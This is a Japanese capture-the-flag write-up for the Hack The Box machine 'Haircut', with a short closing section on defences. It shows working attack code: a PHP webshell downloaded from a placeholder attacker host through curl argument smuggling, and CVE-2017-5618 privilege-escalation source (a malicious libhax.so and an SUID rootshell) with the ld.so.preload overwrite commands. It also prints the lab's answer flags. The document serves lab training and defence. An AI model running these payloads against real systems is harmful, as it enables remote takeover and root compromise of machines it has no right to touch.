Hack The BoxのWriteup(Haircut)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Haircut — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp SSH、80/tcp nginx
exposed.php SSRF
method=POST必須と判明
curl引数密輸入
URL末尾に “-o uploads/shell.php”
webshell RCE
user.txt ✓
screen 4.5.0 SUID
CVE-2017-5618
ld.so.preload書換
libhax.soコンストラクタ発火
root.txt ✓
PHASE 2

exposed.php — curl SSRFエンドポイントの調査

gobusterでexposed.phpを発見

BASH
gobuster dir -u http://10.129.61.115/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
RESULT
/exposed.php (Status: 200)
/uploads (Status: 301)
BASH
curl -s http://10.129.61.115/exposed.php
RESULT
<title>Hairdresser checker</title>
<form action='exposed.php' method='POST'>
  Enter the Hairdresser's location you would like to check.
  <input type='text' name='formurl' value='http://localhost/test.html'/>
  <input type='submit' name='submit' value='Go' />
</form>
ℹ️
入力欄の name 属性は formurl。フォームの method='POST' がこの後の落とし穴になる。

重要な落とし穴: GETリクエストではSSRFが一切発火しない

NOTE
最初、curlの-G(GETでクエリ文字列送信)オプションを使って
formurlパラメータを送っても、フォームページがそのまま返るだけで
サーバー側では何も起きなかった(リスナーを立てても接続が来ない)。
フォームのmethod='POST'が示す通り、exposed.phpは$_POST変数だけを
チェックしており、GETのクエリ文字列(=$_GET)は完全に無視される。
BASH
# 失敗する例 (GET)
curl -s -G --data-urlencode "formurl=http://ATTACKER:8092/test" http://10.129.61.115/exposed.php
# → リスナー側に何も届かない

# 成功する例 (POST、-Gを付けない)
curl -s -X POST --data-urlencode "formurl=http://ATTACKER:8092/test" http://10.129.61.115/exposed.php
RESULT (POSTでのレスポンス抜粋)
<p>Requesting Site...</p>  % Total % Received % Xferd ... (curlの進捗バー出力)
<!DOCTYPE HTML>...<h1>Error response</h1>...
SSRF発火確認。 POSTで送るとサーバー内部で curl <formurlの値>相当のコマンドが実行され、その 生のcurl進捗バー出力とレスポンス本文がHTMLにそのまま埋め込まれて 返ってくる(サーバー側は入力値をシェルコマンドラインに直接連結して いると分かる、典型的な引数インジェクションの兆候)。
PHASE 3

curl引数密輸入によるWebshell設置 & user.txt

攻撃者ホストでWebshellを配信する

BASH
echo '<?php system($_GET["melo"]); ?>' > shell.php
python3 -m http.server 8092

-o フラグを密輸入してuploads/へ書き込ませる

NOTE
formurl の値はサーバー側で恐らく
  curl "<formurlの値>"
のような形でシェルに渡されている。curlは引数中に "-o <path>" が
含まれていると出力先ファイルとして扱うため、URLの後ろにスペース区切りで
"-o uploads/shell.php" を追加するだけで、フェッチしたレスポンス本体を
Webルート配下の任意ファイル名で保存させられる。
BASH
curl -s -X POST --data-urlencode \
  "formurl=http://ATTACKER_IP:8092/shell.php -o uploads/shell.php" \
  http://10.129.61.115/exposed.php
RESULT (配信サーバー側ログ)
10.129.61.115 - - [.../shell.php HTTP/1.1" 200 -]

Webshell疎通確認 & user.txt取得

BASH
curl -s -G --data-urlencode "melo=id" http://10.129.61.115/uploads/shell.php
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
BASH
curl -s -G --data-urlencode "melo=cat /home/*/user.txt" http://10.129.61.115/uploads/shell.php
RESULT
e0caeeaadcbb69f6be5740d460dc0c62
user.txt — maria
e0caeeaadcbb69f6be5740d460dc0c62
PHASE 4

screen 4.5.0 SUID (CVE-2017-5618) → root.txt

SUIDバイナリの発見

BASH
curl -s -G --data-urlencode "melo=find / -perm /4000 2>/dev/null" http://10.129.61.115/uploads/shell.php
RESULT
/usr/bin/sudo
/usr/bin/screen-4.5.0  ← root SUID (通常は非SUIDのはずの screen)
/bin/su
...
ℹ️
GNU Screen 4.5.0 には CVE-2017-5618 (setuid rootのscreenがログファイル書き込み時に権限を落とさないローカル権限昇格) が存在する。 screenのログ機能を使い、root権限で任意ファイル(/etc/ld.so.preload)を 新規作成できる。

悪性共有ライブラリ(libhax.so)とrootshellバイナリを用意

BASH
cat > libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

cat > rootshell.c << 'EOF'
#include <stdio.h>
int main(void){
    setuid(0); setgid(0); seteuid(0); setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF

gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
ℹ️
libhax.soのコンストラクタ関数は、動的リンカがこの共有ライブラリを ロードした瞬間(=root権限の任意プロセスが起動した瞬間)に自動実行され、 既に用意しておいた/tmp/rootshellをroot所有+SUID化する。

webshell経由でビルド & ld.so.preload書き込み

BASH
# .c ファイルをwebshell経由でターゲットに書き込み、その場でコンパイル
curl -s -G --data-urlencode "melo=export PATH=/usr/bin:\$PATH; gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c" \
  http://10.129.61.115/uploads/shell.php
curl -s -G --data-urlencode "melo=export PATH=/usr/bin:\$PATH; gcc -o /tmp/rootshell /tmp/rootshell.c" \
  http://10.129.61.115/uploads/shell.php

# screen (SUID root) にログファイルとして /etc/ld.so.preload を書かせる
curl -s -G --data-urlencode 'melo=cd /etc && umask 000 && screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" && screen -ls' \
  http://10.129.61.115/uploads/shell.php
RESULT
No Sockets found in /tmp/screens/S-www-data.
ℹ️
"No Sockets found" は screen セッション自体がすぐ終了したことを示す 正常な出力(ログ書き込み目的で一瞬起動してすぐ終わるため)。この時点で /etc/ld.so.preload/tmp/libhax.soへのパスが 書き込まれている。

root化トリガー & root.txt取得

NOTE
/etc/ld.so.preload に登録された共有ライブラリは、以後動的リンクされる
「あらゆる」プロセス起動時にロードされる。screen自体の終了処理や
次に何らかのプロセスが起動した時点で libhax.so のコンストラクタが発火し、
/tmp/rootshell が root:root + SUID 化される。
BASH
# rootshell の execvp("/bin/sh", NULL, NULL) は引数なしで対話シェルを
# 起動するだけなので、非対話webshellからは標準入力にコマンドをパイプする
curl -s -G --data-urlencode "melo=echo 'cat /root/root.txt' | /tmp/rootshell" \
  http://10.129.61.115/uploads/shell.php
RESULT
8ede3fc4bc9144d5c397cc0261fa257b
root化成功! ls -la /tmp/rootshellで確認すると -rwsr-xr-x root rootとなっており、libhax.soのコンストラクタが 期待通り発火したことが分かる。
root.txt — root@haircut
8ede3fc4bc9144d5c397cc0261fa257b
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — maria
e0caeeaadcbb69f6be5740d460dc0c62
root.txt — root@haircut
8ede3fc4bc9144d5c397cc0261fa257b

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
SSRF + curl引数インジェクション exposed.php リモートコード実行 (www-data) Critical URL入力値をサニタイズせずcurlコマンドラインに連結。末尾に-o uploads/shell.phpを密輸入しwebshellを設置
CVE-2017-5618 GNU Screen 4.5.0 (SUID root) 権限昇格 (root) High screenのログファイル書き込みでroot権限のまま任意パスに書き込み、/etc/ld.so.preloadを悪用

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + gobuster80/tcp nginx、exposed.php発見
2SSRF調査フォームmethod確認(POST必須と判明)SSRFトリガー方法の特定
3RCEcurl -oフラグ密輸入user.txt取得(www-data)
4権限昇格screen SUID + ld.so.preloadroot.txt取得

学んだ教訓 & 防御策

問題点防御策
ユーザー入力をサニタイズせずシェルコマンド(curl)に直接連結している 外部プロセス呼び出しにはシェルを経由しないAPI(execve系の配列引数渡し等)を使い、シェルメタ文字・オプション文字列の混入を防ぐ。入力値をURLとして厳密にバリデーションする。
アップロードディレクトリ(uploads/)でPHPの実行が許可されている アップロード先ディレクトリはWebサーバー設定でスクリプト実行を無効化する(nginxならlocationブロックでphp-fpmへの転送を除外)。
脆弱性のある古いバージョンのGNU Screen(4.5.0)がSUID rootで放置されている 不要なSUIDビットは削除する(screenは通常SUID不要)。既知の脆弱性が修正されたバージョンへの更新を定期的に行う。
HackTheBox: Haircut | 完全攻略レポート